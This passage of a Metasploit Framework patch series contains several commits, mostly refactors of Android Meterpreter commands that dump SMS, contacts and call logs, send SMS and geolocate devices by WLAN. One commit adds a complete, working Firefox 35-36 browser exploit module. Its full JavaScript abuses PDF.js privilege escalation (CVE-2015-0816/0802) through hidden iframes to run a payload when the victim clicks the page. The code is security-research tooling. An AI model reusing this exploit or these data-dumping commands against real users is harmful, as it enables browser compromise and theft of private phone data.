b/modules/exploits/windows/browser/adobe_flash_regex_value.rb @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending HTML...") tag = retrieve_tag(cli, request) - profile = get_profile(tag) + profile = browser_profile[tag] profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end From 875ac289e0a99b9eca3fc9e2a3ef7b71cb413b2d Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sat, 15 Aug 2015 19:44:48 -0500 Subject: [PATCH 0292/2172] wait up to time_out seconds for output from the command --- lib/msf/core/post/common.rb | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 7f4db478d9..0b604162a1 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -101,6 +101,7 @@ module Msf::Post::Common # through /bin/sh, solving all the pesky parsing troubles, without # affecting Windows. # + start = Time.now.to_i if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/ args = "" end @@ -108,9 +109,17 @@ module Msf::Post::Common session.response_timeout = time_out process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true}) o = "" + # Wait up to time_out seconds for the first bytes to arrive while (d = process.channel.read) - break if d == "" - o << d + if d == "" + if (Time.now.to_i - start < time_out) && (o == '') + sleep 0.1 + else + break + end + else + o << d + end end o.chomp! if o From 1db376bed88a36c11c23d52b13d71e76212b4619 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sat, 15 Aug 2015 19:46:04 -0500 Subject: [PATCH 0293/2172] check if a process still exists before deleting it --- data/meterpreter/ext_server_stdapi.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 9e487280be..e884267528 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -742,7 +742,8 @@ def stdapi_sys_process_close(request, response): if not proc_h_id: return ERROR_SUCCESS, response proc_h_id = proc_h_id['value'] - del meterpreter.processes[proc_h_id] + if meterpreter.processes.has_key(proc_h_id): + del meterpreter.processes[proc_h_id] return ERROR_SUCCESS, response @meterpreter.register_function From 422bba87d352bfd8815349ee190de8cbd1207cfc Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sat, 15 Aug 2015 19:49:32 -0500 Subject: [PATCH 0294/2172] style fixes, moved google_geolocate to google/geolocate --- lib/rex/google/geolocation.rb | 68 ++++++ lib/rex/google_geolocation.rb | 66 ------ .../ui/console/command_dispatcher/android.rb | 198 ++++++++---------- modules/post/multi/gather/wlan_geolocate.rb | 5 +- tools/google_geolocate_bssid.rb | 4 +- 5 files changed, 158 insertions(+), 183 deletions(-) create mode 100755 lib/rex/google/geolocation.rb delete mode 100755 lib/rex/google_geolocation.rb diff --git a/lib/rex/google/geolocation.rb b/lib/rex/google/geolocation.rb new file mode 100755 index 0000000000..3afc328ddf --- /dev/null +++ b/lib/rex/google/geolocation.rb @@ -0,0 +1,68 @@ +#!/usr/bin/env ruby + +require 'net/http' +require 'json' + +module Rex + module Google + # @example + # g = Rex::Google::Geolocation.new + # g.add_wlan("00:11:22:33:44:55", "example", -80) + # g.fetch! + # puts g, g.google_maps_url + class Geolocation + GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" + + attr_accessor :accuracy + attr_accessor :latitude + attr_accessor :longitude + + def initialize + @uri = URI.parse(URI.encode(GOOGLE_API_URI)) + @wlan_list = [] + end + + # Ask Google's Maps API for the location of a given set of BSSIDs (MAC + # addresses of access points), ESSIDs (AP names), and signal strengths. + def fetch! + @uri.query << @wlan_list.take(10).join("&wifi=") + request = Net::HTTP::Get.new(@uri.request_uri) + http = Net::HTTP.new(@uri.host, @uri.port) + http.use_ssl = true + response = http.request(request) + + if response && response.code == '200' + results = JSON.parse(response.body) + self.latitude = results["location"]["lat"] + self.longitude = results["location"]["lng"] + self.accuracy = results["accuracy"] + else + msg = "Failure connecting to Google for location lookup." + msg += " Code #{response.code} for query #{@uri}" if response + fail msg + end + end + + # Add an AP to the list to send to Google when {#fetch!} is called. + # + # Turns out Google's API doesn't really care about ESSID or signal strength + # as long as you have BSSIDs. Presumably adding them will make it more + # accurate? Who knows. + # + # @param mac [String] in the form "00:11:22:33:44:55" + # @param ssid [String] ESSID associated with the mac + # @param signal_strength [String] a thing like + def add_wlan(mac, ssid = nil, signal_strength = nil) + @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) + end + + def google_maps_url + "https://maps.google.com/?q=#{latitude},#{longitude}" + end + + def to_s + "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." + end + end + end +end diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb deleted file mode 100755 index 62597c1012..0000000000 --- a/lib/rex/google_geolocation.rb +++ /dev/null @@ -1,66 +0,0 @@ -#!/usr/bin/env ruby - -require 'net/http' -require 'json' - -module Rex - # @example - # g = GoogleGeolocation.new - # g.add_wlan("00:11:22:33:44:55", "example", -80) - # g.fetch! - # puts g, g.google_maps_url - class GoogleGeolocation - GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" - - attr_accessor :accuracy - attr_accessor :latitude - attr_accessor :longitude - - def initialize - @uri = URI.parse(URI.encode(GOOGLE_API_URI)) - @wlan_list = [] - end - - # Ask Google's Maps API for the location of a given set of BSSIDs (MAC - # addresses of access points), ESSIDs (AP names), and signal strengths. - def fetch! - @uri.query << @wlan_list.take(10).join("&wifi=") - request = Net::HTTP::Get.new(@uri.request_uri) - http = Net::HTTP.new(@uri.host, @uri.port) - http.use_ssl = true - response = http.request(request) - - if response && response.code == '200' - results = JSON.parse(response.body) - self.latitude = results["location"]["lat"] - self.longitude = results["location"]["lng"] - self.accuracy = results["accuracy"] - else - msg = "Failure connecting to Google for location lookup." - msg += " Code #{response.code} for query #{@uri.to_s}" if response - fail msg - end - end - - # Add an AP to the list to send to Google when {#fetch!} is called. - # - # Turns out Google's API doesn't really care about ESSID or signal strength - # as long as you have BSSIDs. Presumably adding them will make it more - # accurate? Who knows. - # - # @param mac [String] in the form "00:11:22:33:44:55" - # @param ssid [String] ESSID associated with the mac - # @param signal_strength [String] a thing like - def add_wlan(mac, ssid = nil, signal_strength = nil) - @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) - end - - def google_maps_url - "https://maps.google.com/?q=#{latitude},#{longitude}" - end - - def to_s - "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." - end - end -end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 8a40c0ef04..7891523682 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -1,18 +1,16 @@ # -*- coding: binary -*- require 'rex/post/meterpreter' require 'msf/core/auxiliary/report' -require 'rex/google_geolocation' +require 'rex/google/geolocation' module Rex module Post module Meterpreter module Ui - ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### - class Console::CommandDispatcher::Android include Console::CommandDispatcher include Msf::Auxiliary::Report @@ -28,8 +26,8 @@ class Console::CommandDispatcher::Android 'dump_calllog' => 'Get call log', 'check_root' => 'Check if device is rooted', 'device_shutdown' => 'Shutdown device', - 'send_sms' => 'Sends SMS from target session', - 'wlan_geolocate' => 'Get current lat-long using WLAN information', + 'send_sms' => 'Sends SMS from target session', + 'wlan_geolocate' => 'Get current lat-long using WLAN information' } reqs = { @@ -39,25 +37,24 @@ class Console::CommandDispatcher::Android 'dump_calllog' => [ 'dump_calllog' ], 'check_root' => [ 'check_root' ], 'device_shutdown' => [ 'device_shutdown'], - 'send_sms' => [ 'send_sms' ], - 'wlan_geolocate' => [ 'wlan_geolocate' ] + 'send_sms' => [ 'send_sms' ], + 'wlan_geolocate' => [ 'wlan_geolocate' ] } # Ensure any requirements of the command are met - all.delete_if do |cmd, desc| - reqs[cmd].any? { |req| not client.commands.include?(req) } + all.delete_if do |cmd, _desc| + reqs[cmd].any? { |req| !client.commands.include?(req) } end end def cmd_device_shutdown(*args) - seconds = 0 device_shutdown_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-t' => [ false, 'Shutdown after n seconds'] ) - device_shutdown_opts.parse(args) { | opt, idx, val | + device_shutdown_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: device_shutdown [options]') @@ -67,26 +64,25 @@ class Console::CommandDispatcher::Android when '-t' seconds = val.to_i end - } + end res = client.android.device_shutdown(seconds) if res - print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}") + print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}") else print_error('Device shutdown failed') end end - - def cmd_dump_sms(*args) + def cmd_dump_sms(*args) path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_sms_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for sms list'] + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for sms list'] ) - dump_sms_opts.parse(args) { | opt, idx, val | + dump_sms_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_sms [options]') @@ -96,19 +92,18 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - smsList = [] - smsList = client.android.dump_sms + sms_list = client.android.dump_sms - if smsList.count > 0 - print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}") + if sms_list.count > 0 + print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}") begin info = client.sys.config.sysinfo data = "" data << "\n=====================\n" - data << "[+] Sms messages dump\n" + data << "[+] SMS messages dump\n" data << "=====================\n\n" time = Time.new @@ -117,8 +112,7 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - smsList.each_with_index { |a, index| - + sms_list.each_with_index do |a, index| data << "##{index.to_i + 1}\n" type = 'Unknown' @@ -152,14 +146,14 @@ class Console::CommandDispatcher::Android data << "Address\t: #{a['address']}\n" data << "Status\t: #{status}\n" data << "Message\t: #{a['body']}\n\n" - } + end ::File.write(path, data) - print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}") + print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}") return true rescue - print_error("Error getting messages: #{$!}") + print_error("Error getting messages: #{$ERROR_INFO}") return false end else @@ -168,18 +162,15 @@ class Console::CommandDispatcher::Android end end - def cmd_dump_contacts(*args) - path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" - dump_contacts_opts = Rex::Parser::Arguments.new( + dump_contacts_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-o' => [ false, 'Output path for contacts list'] - ) - dump_contacts_opts.parse(args) { | opt, idx, val | + dump_contacts_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_contacts [options]') @@ -189,13 +180,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - contactList = [] - contactList = client.android.dump_contacts + contact_list = client.android.dump_contacts - if contactList.count > 0 - print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list") + if contact_list.count > 0 + print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list") begin info = client.sys.config.sysinfo @@ -210,32 +200,28 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - contactList.each_with_index { |c, index| + contact_list.each_with_index do |c, index| data << "##{index.to_i + 1}\n" data << "Name\t: #{c['name']}\n" - if c['number'].count > 0 - (c['number']).each { |n| - data << "Number\t: #{n}\n" - } + c['number'].each do |n| + data << "Number\t: #{n}\n" end - if c['email'].count > 0 - (c['email']).each { |n| - data << "Email\t: #{n}\n" - } + c['email'].each do |n| + data << "Email\t: #{n}\n" end data << "\n" - } - + end + ::File.write(path, data) print_status("Contacts list saved to: #{path}") return true rescue - print_error("Error getting contacts list: #{$!}") + print_error("Error getting contacts list: #{$ERROR_INFO}") return false end else @@ -248,13 +234,11 @@ class Console::CommandDispatcher::Android generate_map = false geolocate_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], '-g' => [ false, 'Generate map using google-maps'] - ) - geolocate_opts.parse(args) { | opt, idx, val | + geolocate_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: geolocate [options]') @@ -264,7 +248,7 @@ class Console::CommandDispatcher::Android when '-g' generate_map = true end - } + end geo = client.android.geolocate @@ -283,7 +267,6 @@ class Console::CommandDispatcher::Android end def cmd_dump_calllog(*args) - path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_calllog_opts = Rex::Parser::Arguments.new( @@ -292,7 +275,7 @@ class Console::CommandDispatcher::Android ) - dump_calllog_opts.parse(args) { | opt, idx, val | + dump_calllog_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_calllog [options]') @@ -302,12 +285,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end log = client.android.dump_calllog if log.count > 0 - print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}") + print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}") begin info = client.sys.config.sysinfo @@ -322,23 +305,21 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - log.each_with_index { |a, index| - + log.each_with_index do |a, index| data << "##{index.to_i + 1}\n" - data << "Number\t: #{a['number']}\n" data << "Name\t: #{a['name']}\n" data << "Date\t: #{a['date']}\n" data << "Type\t: #{a['type']}\n" data << "Duration: #{a['duration']}\n\n" - } + end ::File.write(path, data) print_status("Call log saved to #{path}") return true rescue - print_error("Error getting call log: #{$!}") + print_error("Error getting call log: #{$ERROR_INFO}") return false end else @@ -347,15 +328,13 @@ class Console::CommandDispatcher::Android end end - - def cmd_check_root(*args) check_root_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ] ) - check_root_opts.parse(args) { | opt, idx, val | + check_root_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: check_root [options]') @@ -363,13 +342,13 @@ class Console::CommandDispatcher::Android print_line(check_root_opts.usage) return end - } + end is_rooted = client.android.check_root if is_rooted print_good('Device is rooted') - elsif + else print_status('Device is not rooted') end end @@ -381,10 +360,12 @@ class Console::CommandDispatcher::Android '-t' => [ true, 'SMS body text' ], '-dr' => [ false, 'Wait for delivery report' ] ) - dest='' - body='' - dr=false - send_sms_opts.parse(args) { | opt, idx, val | + + dest = '' + body = '' + dr = false + + send_sms_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: send_sms -d <number> -t <sms body>') @@ -392,48 +373,48 @@ class Console::CommandDispatcher::Android print_line(send_sms_opts.usage) return when '-d' - dest=val + dest = val when '-t' - body=val + body = val when '-dr' - dr=true + dr = true end - } - if (dest.blank? or body.blank?) - print_error("You must enter both a destination address -d and the SMS text body -t") - print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') - print_line(send_sms_opts.usage) - return end - sent=client.android.send_sms(dest,body,dr) - if (dr) - if (sent[0]=="Transmission successful") - print_good("SMS sent - #{sent[0]}") + if dest.blank? || body.blank? + print_error("You must enter both a destination address -d and the SMS text body -t") + print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') + print_line(send_sms_opts.usage) + return + end + + sent = client.android.send_sms(dest, body, dr) + if dr + if sent[0] == "Transmission successful" + print_good("SMS sent - #{sent[0]}") else - print_error("SMS send failed - #{sent[0]}") + print_error("SMS send failed - #{sent[0]}") end - if (sent[1]=="Transmission successful") - print_good("SMS delivered - #{sent[1]}") + if sent[1] == "Transmission successful" + print_good("SMS delivered - #{sent[1]}") else - print_error("SMS delivery failed - #{sent[1]}") + print_error("SMS delivery failed - #{sent[1]}") end else - if (sent=="Transmission successful") - print_good("SMS sent - #{sent}") + if sent == "Transmission successful" + print_good("SMS sent - #{sent}") else - print_error("SMS send failed - #{sent}") + print_error("SMS send failed - #{sent}") end end end def cmd_wlan_geolocate(*args) - wlan_geolocate_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ] ) - wlan_geolocate_opts.parse(args) { | opt, idx, val | + wlan_geolocate_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: wlan_geolocate') @@ -441,23 +422,22 @@ class Console::CommandDispatcher::Android print_line(wlan_geolocate_opts.usage) return end - } + end log = client.android.wlan_geolocate - wlan_list=[] - wlan_str="" - log.each{|x| - mac=x['bssid'] - ssid=x['ssid'] - ss=x['level'] - wlan_list << [mac,ssid,ss.to_s] - } + wlan_list = [] + log.each do |x| + mac = x['bssid'] + ssid = x['ssid'] + ss = x['level'] + wlan_list << [mac, ssid, ss.to_s] + end if wlan_list.blank? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end - g = Rex::GoogleGeolocation.new + g = Rex::Google::Geolocation.new wlan_list.each do |wlan| g.add_wlan(*wlan) @@ -470,21 +450,15 @@ class Console::CommandDispatcher::Android print_status(g.to_s) print_status("Google Maps URL: #{g.google_maps_url}") end - - end - - # # Name for this dispatcher # def name 'Android' end - -end - +end end end end diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index 1c9d7d2f84..61709e327b 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'rex' -require 'rex/google_geolocation' +require 'rex/google/geolocation' class Metasploit3 < Msf::Post @@ -84,12 +84,11 @@ class Metasploit3 < Msf::Post end def perform_geolocation(wlan_list) - if wlan_list.blank? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end - g = Rex::GoogleGeolocation.new + g = Rex::Google::Geolocation.new wlan_list.each do |wlan| g.add_wlan(*wlan) diff --git a/tools/google_geolocate_bssid.rb b/tools/google_geolocate_bssid.rb index 20b532cbce..1c93b47150 100755 --- a/tools/google_geolocate_bssid.rb +++ b/tools/google_geolocate_bssid.rb @@ -9,7 +9,7 @@ while File.symlink?(msfbase) end $LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'rex/google_geolocation' +require 'rex/google/geolocation' require 'optparse' if ARGV.empty? @@ -21,7 +21,7 @@ if ARGV.empty? exit(1) end -g = Rex::GoogleGeolocation.new +g = Rex::Google::Geolocation.new ARGV.each do |mac| g.add_wlan(mac, nil, -83) end From 9720e8e081c4175f07e9f14211f9c5858dcdc3af Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sat, 15 Aug 2015 19:49:55 -0500 Subject: [PATCH 0295/2172] normalize osx to darwin so python meterp works --- modules/post/multi/gather/wlan_geolocate.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index 61709e327b..cdb498623a 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -114,9 +114,9 @@ class Metasploit3 < Msf::Post else # For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform platform = session.sys.config.sysinfo['OS'] + platform = 'osx' if platform =~ /darwin/i end - case platform when /win/i From a133e98ba5870c5b02c2347018fd2ac07cad3fd6 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sat, 15 Aug 2015 17:52:47 -0500 Subject: [PATCH 0296/2172] Adds a ff 35-36 RCE vector based off the recent ff bug. --- .../firefox_pdfjs_privilege_escalation.rb | 256 ++++++++++++++++++ .../multi/browser/firefox_proxy_prototype.rb | 3 +- 2 files changed, 258 insertions(+), 1 deletion(-) create mode 100644 modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb diff --git a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb new file mode 100644 index 0000000000..6f189edac5 --- /dev/null +++ b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb @@ -0,0 +1,256 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox PDF.js Privileged Javascript Injection', + 'Description' => %q{ + This module gains remote code execution on Firefox 35-36 by abusing a + privilege escalation bug in resource:// URIs. PDF.js is used to exploit + the bug. This exploit requires the user to click anywhere on the page to + trigger the vulnerability. + }, + 'Author' => [ + 'Unknown', # PDF.js injection injection code was taken from a 0day + 'Marius Mlynski', # discovery and pwn2own exploit + 'joev' # copypasta monkey, CVE-2015-0802 + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-0816'], # pdf.js can load chrome:// + ['CVE', '2015-0802'] # can access messageManager property in chrome window + ], + 'Targets' => [ + [ + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } + ], + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0, + 'BrowserRequirements' => { + :source => 'script', + :ua_name => HttpClients::FF, + :ua_ver => lambda { |ver| ver.to_i.between?(35, 36) } + } + )) + + register_options([ + OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ]) + ], self.class) + end + + def on_request_exploit(cli, request, target_info) + print_status('Sending exploit...') + send_response_html(cli, html) + end + + def html + "<!doctype html><html><body>#{datastore['CONTENT'] || default_html}"+ + "<script>#{js}</script></body></html>" + end + + def default_html + "The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected." + end + + def js + key = Rex::Text.rand_text_alpha(5 + rand(12)) + frame = Rex::Text.rand_text_alpha(5 + rand(12)) + r = Rex::Text.rand_text_alpha(5 + rand(12)) + opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin + + <<-EOJS +function xml2string(obj) { + return new XMLSerializer().serializeToString(obj); +} + +function __proto(obj) { + return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; +} + +function get(path, callback, timeout, template, value) { + callback = _(callback); + if (template && value) { + callback = callback.replace(template, value); + } + js_call1 = 'javascript:' + _(function() { + try { + done = false; + window.onclick = function() { + if (done) { return; } done = true; + q = open("%url%", "q", "chrome,,top=-9999px,left=-9999px,height=1px,width=1px"); + setTimeout(function(){ + q.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>'; + + setTimeout(function(){ + var opts = #{JSON.unparse(opts)}; + var key = opts['#{key}']; + q.messageManager.loadFrameScript('data:,'+key, false); + setTimeout(function(){ + q.close(); + }, 100) + }, 100) + }, 100); + } + } catch (e) { + history.back(); + } + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); +} + +function get_data(obj) { + data = null; + try { + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); + } + } catch (e) { + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } + } + return data; +} + +function _(s, template, value) { + s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); + } + s += __proto; + s += xml2string; + s += get_data; + s = s.replace(/\\s\\/\\/.*\\n/g, ""); + s = s + ";undefined"; + return s; +} + +function get_sandbox_context() { + if (window.my_win_id == null) { + for (var i = 0; i < 20; i++) { + try { + if (window[i].location.toString().indexOf("view-source:") != -1) { + my_win_id = i; + break; + } + } catch (e) {} + } + }; + if (window.my_win_id == null) + return; + clearInterval(sandbox_context_i); + object.data = 'view-source:' + blobURL; + window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; + object.data = 'data:text/html,<'+'html/>'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+ + '"position:absolute; left:-9999px;" onload = "'+_(function(){ + window.wrappedJSObject.sandboxContext=(function(cmd) { + with(importFunction.constructor('return this')()) { + return eval(cmd); + } + }); + }) + '"/>'); +} + +var HIDDEN = 'position:absolute;left:-9999px;height:1px;width:1px;'; +var i = document.createElement("iframe"); +i.id = "i"; +i.style=HIDDEN; +i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>"; +document.documentElement.appendChild(i); +i.onload = function() { + if (this.contentDocument.styleSheets.length > 0) { + var i2 = document.createElement("iframe"); + i2.id = "i2"; + i2.style='opacity: 0;position:absolute;top:0;left:0;right:0;bottom:0;'; + i2.height = window.innerHeight+'px'; + i2.width = window.innerWidth+'px'; + i2.src = "data:application/pdf,"; + document.documentElement.appendChild(i2); + pdfBlob = new Blob([''], { + type: 'application/pdf' + }); + blobURL = URL.createObjectURL(pdfBlob); + object = document.createElement('object'); + object.style=HIDDEN; + object.data = 'data:application/pdf,'; + object.onload = (function() { + sandbox_context_i = setInterval(get_sandbox_context, 200); + object.onload = null; + object.data = 'view-source:' + location.href; + return; + }); + document.documentElement.appendChild(object); + } else { + this.contentWindow.location.reload(); + } +} + +document.body.style.height = window.innerHeight+'px'; + +var kill = setInterval(function() { + if (window.sandboxContext) { + var f = "chrome://browser/content/browser.xul"; + get(f, function() {}, 0, "%URL%", f); + clearInterval(kill); + } else { + return; + } +},20); + +EOJS + end +end diff --git a/modules/exploits/multi/browser/firefox_proxy_prototype.rb b/modules/exploits/multi/browser/firefox_proxy_prototype.rb index afaa21317a..8da445326f 100644 --- a/modules/exploits/multi/browser/firefox_proxy_prototype.rb +++ b/modules/exploits/multi/browser/firefox_proxy_prototype.rb @@ -26,7 +26,8 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DisclosureDate' => "Jan 20 2014", 'References' => [ - ['CVE', '2014-8636'], + ['CVE', '2014-8636'], # proxy injection + ['CVE', '2015-0802'], # can access messageManager property in chrome window ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ] From 98e2d074c39477ecb667183ed18d48b1bd3337b3 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sat, 15 Aug 2015 20:08:06 -0500 Subject: [PATCH 0297/2172] Add disclosure date. --- .../multi/browser/firefox_pdfjs_privilege_escalation.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb index 6f189edac5..7cf0100b51 100644 --- a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb +++ b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb @@ -21,10 +21,11 @@ class Metasploit3 < Msf::Exploit::Remote trigger the vulnerability. }, 'Author' => [ - 'Unknown', # PDF.js injection injection code was taken from a 0day + 'Unknown', # PDF.js injection code was taken from a 0day 'Marius Mlynski', # discovery and pwn2own exploit 'joev' # copypasta monkey, CVE-2015-0802 ], + 'DisclosureDate' => "Mar 31 2015", 'License' => MSF_LICENSE, 'References' => [ From 8800d894243ab2a7fd39bb398d3fff5bedd83367 Mon Sep 17 00:00:00 2001 From: benpturner <benpturner@yahoo.com> Date: Sun, 16 Aug 2015 10:47:20 +0100 Subject: [PATCH 0298/2172] Updated to reflect HD's comments on indents and name of local script. --- modules/post/windows/manage/exec_powershell.rb | 12 ++++-------- .../windows/manage/powershell/exec_powershell.rb | 2 +- .../post/windows/manage/powershell/load_script.rb | 4 ++-- 3 files changed, 7 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/manage/exec_powershell.rb b/modules/post/windows/manage/exec_powershell.rb index e2a719be9b..7d6b75efb2 100644 --- a/modules/post/windows/manage/exec_powershell.rb +++ b/modules/post/windows/manage/exec_powershell.rb @@ -30,7 